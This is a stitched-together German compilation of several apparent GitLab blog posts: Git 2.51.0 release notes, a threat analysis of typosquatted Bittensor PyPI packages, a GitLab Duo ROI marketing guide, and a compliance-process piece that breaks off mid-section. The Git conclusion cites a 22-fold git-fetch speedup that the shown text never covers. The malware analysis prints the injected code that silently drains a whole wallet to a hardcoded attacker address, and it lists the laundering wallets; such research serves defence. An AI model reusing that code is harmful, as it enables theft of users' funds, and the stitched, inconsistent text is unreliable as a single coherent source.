Im Git 2.45.0-Release wurde das "reftable"-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden "files"-Backends behebt. Lesen Sie unseren Einsteiger-Leitfaden zur Funktionsweise von reftables für weitere Einblicke in das "reftable"-Backend.

Das Git 2.51.0-Release markiert den Wechsel zur Verwendung des "reftable"-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das "reftable"-Format bietet folgende Verbesserungen gegenüber dem traditionellen "files"-Backend:

• Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem "files"-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das "reftable"-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.

• Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem "files"-Backend. Auch dies ist kein Problem mit dem "reftable"-Backend.

• Das Löschen von Referenzen mit dem "files"-Backend erfordert, dass Git die komplette "packed-refs"-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das "reftable"-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.

• Repository-Hauskeeping mit dem "files"-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die "packed-refs"-Datei. Das "reftable"-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.

• Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem "files"-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.

• Das Schreiben vieler Referenzen auf einmal ist langsam mit dem "files"-Backend, weil jede Referenz als separate Datei erstellt wird. Das "reftable"-Backend übertrifft das "files"-Backend um mehrere Größenordnungen.

• Das "reftable"-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur "packed-refs"-Datei.

Dieses Projekt wurde von Patrick Steinhardt geleitet.

SHA-256 wird Standard in Git 3.0

Das Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:

• Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.
• Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.
• Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.
• Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.

Seit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den SHAttered-Angriff, der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.

SHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.

Dieses Projekt wurde von brian m. carlson geleitet.

Entfernung von git-whatchanged(1)

Der git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.

Git 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.

Dieses Projekt wurde von Junio C Hamano geleitet.

git switch und git restore sind nicht mehr experimentell

Der git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git checkout next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.

Oder zur Wiederherstellung von Dateien:

$ echo "additional line" >> git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie "git add <Datei>...", um die Änderungen zum Commit vorzumerken)
  (benutzen Sie "git restore <Datei>...", um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")

$ git checkout git.c
1 Pfad von Index aktualisiert

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

Für neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).

Der git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git switch next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.

Und der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:

$ echo "additional line" >> git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie "git add <Datei>...", um die Änderungen zum Commit vorzumerken)
  (benutzen Sie "git restore <Datei>...", um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")

$ git restore git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

Obwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.

Dies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.

Dieses Projekt wurde von Justin Tobler geleitet.

git for-each-ref(1) erhält Paginierungs-Unterstützung

Der git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.

Dies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.

Git 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.

$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020

Dieses Projekt wurde von Karthik Nayak geleitet.

Fazit

Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten. Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.

Bereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.

Für GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.

Erfahren Sie mehr in den offiziellen Git 2.51.0 Release Notes und erkunden Sie unser komplettes Archiv der Git-Entwicklungsberichterstattung.

Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den englischen Originalartikel.

Kryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem

durch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.

Die Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.

Geschäftsrelevanz: Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. 90% der Fortune-500-Unternehmen nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.

Die Angriffsmethode im Detail

Die identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:

• bitensor@9.9.4 (02:52 UTC)

• bittenso-cli@9.9.4 (02:59 UTC)

• qbittensor@9.9.4 (03:02 UTC)

• bitensor@9.9.5 (03:15 UTC)

• bittenso@9.9.5 (03:16 UTC)

Alle Pakete wurden entwickelt, um die legitimen bittensor- und bittensor-cli-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.

Technische Analyse: So funktioniert der Diebstahl

Die Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der stake_extrinsic-Funktion in bittensor_cli/src/commands/stake/add.py.

Wo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:

result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
  amount=amount,
  transfer_all=True,
  prompt=False
)

Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:

• Stille Ausführung: Verwendet prompt=False, um die Benutzerbestätigung zu umgehen

• Vollständige Wallet-Entleerung: Setzt transfer_all=True, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag

• Hartcodiertes Ziel: Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter

• Versteckt in Sichtweite: Wird während einer scheinbar normalen Staking-Operation ausgeführt

Das Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.

Besondere Relevanz für deutsche Unternehmen

Diese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.

Warum die Staking-Funktionalität ins Visier genommen wird

Die Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet Staking, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.

Dies macht Staking zu einem idealen Angriffsvektor:

1. Hochwertige Ziele: Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.

2. Erforderlicher Wallet-Zugriff: Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.

3. Erwartete Netzwerkaktivität: Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.

4. Routineoperationen: Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.

5. Verzögerte Entdeckung: Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.

Durch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.

Der Geldspur folgen

Das Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.

Das Geldwäsche-Netzwerk

Die Analyse offenbarte ein mehrstufiges Geldwäschesystem:

1. Primäre Sammlung: Gestohlene Gelder kommen zunächst bei 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR an

2. Verteilungsnetzwerk: Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:

   • 5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
   • 5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
   • 5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
   • 5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL

3. Finale Konsolidierung: Alle Pfade konvergieren schließlich bei 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu

4. Auszahlungsendpunkt: Das finale Ziel scheint 5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ zu sein

Die Typosquatting-Strategie

Die Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:

• Fehlende Zeichen: bitensor statt bittensor (fehlendes 't')

• Kürzung: bittenso statt bittensor (fehlendes finales 'r')

• Versions-Nachahmung: Alle Pakete verwendeten Versionsnummern (9.9.4, 9.9.5), die den legitimen Paketversionen sehr ähnlich sind

Dieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während pip install-Befehlen und Copy-Paste-Fehler aus Dokumentationen.

Die Zukunft der Supply-Chain-Sicherheit

GitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.

Die schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.

Kompromittierungsindikatoren

| IOC | Beschreibung |

| -------------------------------------------------- | ----------------------------------------------------------------- |

| pkg:pypi/bittenso@9.9.5 | Bösartiges PyPI-Paket |

| pkg:pypi/bitensor@9.9.5 | Bösartiges PyPI-Paket |

| pkg:pypi/bitensor@9.9.4 | Bösartiges PyPI-Paket |

| pkg:pypi/qbittensor@9.9.4 | Bösartiges PyPI-Paket |

| pkg:pypi/bittenso-cli@9.9.4 | Bösartiges PyPI-Paket |

| 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |

Zeitachse

| Datum & Uhrzeit | Aktion |

| -------------------- | --------------------------------------------------------------------------------------------- |

| 2025-08-06T06:33 | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |

| 2025-08-06T09:42 | bittenso@9.9.5 an PyPi.org gemeldet |

| 2025-08-06T09:46 | bitensor@9.9.5 an PyPi.org gemeldet |

| 2025-08-06T09:47 | bitensor@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T09:49 | qbittensor@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T09:51 | bittenso-cli@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T15:26 | PyPi.org entfernte bittenso@9.9.5 |

| 2025-08-06T15:27 | PyPi.org entfernte bitensor@9.9.5 |

| 2025-08-06T15:27 | PyPi.org entfernte bitensor@9.9.4 |

| 2025-08-06T15:28 | PyPi.org entfernte qbittensor@9.9.4 |

| 2025-08-06T15:28 | PyPi.org entfernte bittenso-cli@9.9.4 |

Systematische Transformation von Rohdaten in fundierte Geschäftsentscheidungen und ROI-Berechnungen

Einführung

Erfolgreiche KI-Investitionen erfordern systematische Messungen. Die Entwicklung einer KI-gestützten Entwicklungsplattform beginnt mit dem Verständnis der tatsächlichen Nutzung, Akzeptanzmuster und des nachweislichen Geschäftswerts – insbesondere des ROI von GitLab Duo Enterprise.

Um Kunden bei der Maximierung der KI-Investitionen zu unterstützen, wurde die GitLab Duo Analytics-Lösung als Teil des Duo Accelerator-Programms entwickelt. Diese systematische Lösung transformiert Rohdaten in fundierte Geschäftserkenntnisse und ROI-Berechnungen, ermöglicht Lizenzoptimierung und erstellt überzeugende Business Cases für erweiterte KI-Adoption.

Die Herausforderung: Systematische KI-ROI-Messung im Unternehmen

Vor der Einführung systematischer KI-ROI-Messung ist es wichtig, die Messungsanforderungen methodisch zu verstehen.

Praxisbeispiel: Finanzdienstleister

Eine führende Finanzdienstleistungsorganisation arbeitete über das Duo Accelerator-Programm mit einem GitLab Customer Success Architect zusammen. Gemeinsam wurde eine systematische Analytics-Lösung implementiert, die monatliche Datenerfassung mit Echtzeit-Integration kombiniert – eine skalierbare Grundlage für die Messung von KI-Produktivitätsgewinnen.

Systematische Messungsplanung

Folgende Punkte sind typischerweise zu beachten:

• Welche GitLab Duo-Funktionen müssen gemessen werden? (Code-Vorschläge, Chat-Unterstützung, Sicherheitsscan)

• Wer sind die KI-Nutzer? (Entwickler, Sicherheitsteams, DevOps-Engineers)

• Welche Geschäftsmetriken sind wichtig? (Zeiteinsparungen, Produktivitätsgewinne, Kostenoptimierung)

• Wie funktioniert die systematische Datenerfassung? (automatisierte Prozesse, API-Integration)

Diese systematische Analyse ermöglicht die Definition von nachweislichem ROI-Messframework, Key Performance Indicators (KPIs), systematischer Datenerfassungsstrategie und Stakeholder-Berichtsanforderungen.

ROI-Messframework: Bewährte Methodik

Systematische Datenerfassung

Was das System leistet: Das System erfasst systematisch vier spezialisierte Datentypen für eine vollständige ROI-Analyse: Code-Vorschlag-Metriken, Nutzerengagement-Daten, Lizenznutzungs-Analyse und Chat-Produktivitätsmetriken.

Wie die Umsetzung erfolgt: Die Implementierung nutzt GitLabs GraphQL APIs für parallele Datenextraktion aus spezialisierten Quellen, kategorisiert Nutzer nach Engagement-Levels (Power: 10+, Regular: 5-9, Light: 1-4) und kombiniert monatliche Batch-Verarbeitung mit Echtzeit-Integration für skalierbare Unternehmensarchitektur.

Geschäftswert-Metriken

Was gemessen wird: Präzise Nutzer-Kategorisierung ermöglicht optimale Lizenzzuteilung basierend auf nachweislicher Nutzung. Systematischer Abgleich lizenzierter vs. aktiver Benutzer identifiziert automatisch ungenutzte Lizenzen für ROI-Optimierung.

Wie die Analyse funktioniert: Automatisierte Datenqualitätsprüfung gewährleistet verlässliche Geschäftserkenntnisse durch kontinuierliche Validierung der Nutzungsmetriken und systematische Berechnung von Produktivitätssteigerungen.

Hinweis: Detaillierte technische Implementierungsschritte stehen Entwicklungsteams in der englischen Version dieses Leitfadens zur Verfügung.

Geschäftswert-Analyse: Systematische ROI-Visualisierung

Dashboard-Funktionalität

Was das System liefert: Systematische Visualisierung von vier Analysebereichen: Lizenznutzungs-Optimierung mit Identifikation ungenutzter Kapazitäten, Duo Chat-Analysen für strategische Planung, Code-Vorschlag-Leistung nach Programmiersprachen und Engagement-Kategorisierung für gezielte Trainingsmaßnahmen.

Wie die Metriken berechnet werden: Das Dashboard generiert nachweislich präzise ROI-Berechnungen durch Zeitersparnis-Quantifizierung basierend auf Code-Vorschlag-Akzeptanz, systematische Nutzungsanalyse und datengestützte Lizenzstrategie-Entwicklung.

Typische Geschäftsergebnisse

Basierend auf tatsächlichen Dashboard-Daten zeigen Organisationen typischerweise:

• Lizenzoptimierung: 66.7% aktive Nutzer, 33.3% ungenutzte Kapazität systematisch identifiziert

• Chat-Engagement: 68.4% Adoption-Rate bei durchschnittlich 8.3 Events pro Nutzer

• Code-Vorschlag-Leistung: 50.0% (Go) bis 80.0% (TypeScript) Akzeptanz je nach Programmiersprache

• Spitzenleistung: TypeScript mit 80.0% Akzeptanzrate optimiert Entwicklerproduktivität

• 90-Tage-Trends: 2.847 Chat-Events von 342 aktiven Nutzern für strategische Planung

• Nutzungsanalyse: Systematische Erfassung über 5 Programmiersprachen mit durchschnittlich 3.2 täglichen Sessions

Skalierung und Automatisierung: Unternehmensweite Implementierung

Vollautomatisierte Datenerfassung

Was automatisiert wird: Vollautomatisierte monatliche Datenerfassung eliminiert manuelle Prozesse durch systematische Pipeline-Ausführung ohne manuellen Eingriff und Qualitätssicherung durch automatisierte Datenvalidierung.

Wie die Integration erfolgt: Integration in bestehende DevOps-Workflows durch native GitLab-Pipelines nutzt vorhandene Infrastruktur für automatisierte Berichtsgenerierung und standardisierte Unternehmensbereitstellung.

Automatisierungsstrategie

# Beispiel: Monatliche automatisierte ROI-Berichterstellung

duo_analytics_collection:
  stage: analytics
  script:
    - Automatisierte Datenerfassung aus vier Quellen
    - ROI-Metrik-Berechnung und Dashboard-Update
  schedule: "Monatlich am 1. um 2 Uhr morgens"

Die systematische Automatisierung transformiert manuelle Analytics-Prozesse in eine selbsterhaltende ROI-Messungs-Engine, die konsistent verwertbare Geschäftserkenntnisse liefert.

Strategische Vorteile: Warum GitLab für KI-ROI-Messung

Die systematische DevSecOps-Architektur von GitLab bietet nachweislich die ideale Grundlage für Unternehmens-KI-Analysen. Mit nativen APIs, flexiblem Datenzugriff und integrierten KI-Funktionen können Organisationen die KI-Messung über den gesamten Entwicklungslebenszyklus zentralisieren.

Die methodische Architektur ermöglicht kundenspezifische Analytics-Lösungen mit API-First-Design für detaillierte Nutzungsdaten-Extraktion, Integration mit Unternehmenssystemen für umfassende ROI-Analyse und skalierbare Berichtsanforderungen für verschiedene Stakeholder-Ebenen.

Der systematische Ansatz stellt sicher, dass nachhaltige KI-Adoptionsstrategien aufgebaut werden. Die etablierten Messframeworks, KPIs und Datenerfassungsprozesse gehen nahtlos zu erweiterten nativen Funktionen über und stellen sicher, dass die Investition in KI-Messung mit GitLabs sich entwickelnder Lösung wächst.

Nächste Schritte: Systematische Implementierung

Die KI-ROI-Messung ist der systematische Ausgangspunkt für datengestützte KI-Optimierung. Mit GitLab Duo können Organisationen eine Messungsgrundlage durch bewährte Analytics-Frameworks etablieren, ROI-Transparenz für fundierte Investitionsentscheidungen schaffen und Optimierungspotentiale basierend auf nachweislichen Nutzungsmustern identifizieren.

Die systematische Analytics-Lösung liefert die Sichtbarkeit und Erkenntnisse für datengestützte Entscheidungsfindung statt intuitionsbasierte KI-Strategie, optimierte Ressourcenzuteilung durch präzise Nutzungsanalyse und strategische Wettbewerbsvorteile durch systematische KI-ROI-Optimierung.

Für die detaillierte technische Implementierung mit vollständigen Code-Beispielen, API-Konfigurationen und Schritt-für-Schritt-Anleitungen steht Ihren Entwicklungsteams die englische Version dieses Leitfadens zur Verfügung: Measuring AI ROI at scale: A practical guide to GitLab Duo Analytics

Die Zukunft der KI-gestützten Entwicklung ist datengesteuert und beginnt mit systematischen Messungen.

Systematische KI-ROI-Messung heute beginnen - mit einer kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise.

Diese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.

Beobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.

Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung

Der Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.

Hier sind die Phasen des Beobachtungslebenszyklus:

1. Identifizierung

• Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung.
• Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt.
• Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue.
• Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.

2. Validierung

• Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)).
• Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert.
• Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.

3. In Bearbeitung

• Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen.
• Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt.
• Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.

4. Behoben

• Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung.
• Das Issue geht zur Compliance-Überprüfung zur Validierung über.

5. Lösung

• Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind.
• Das Issue wird mit finaler Dokumentation geschlossen.
• Erkenntnisse werden für zukünftige Prävention erfasst.

Alternative Pfade behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.

<center><i>Beispiel eines Beobachtungslebenszyklus</i></center>

Die Macht der Transparenz in GitLab

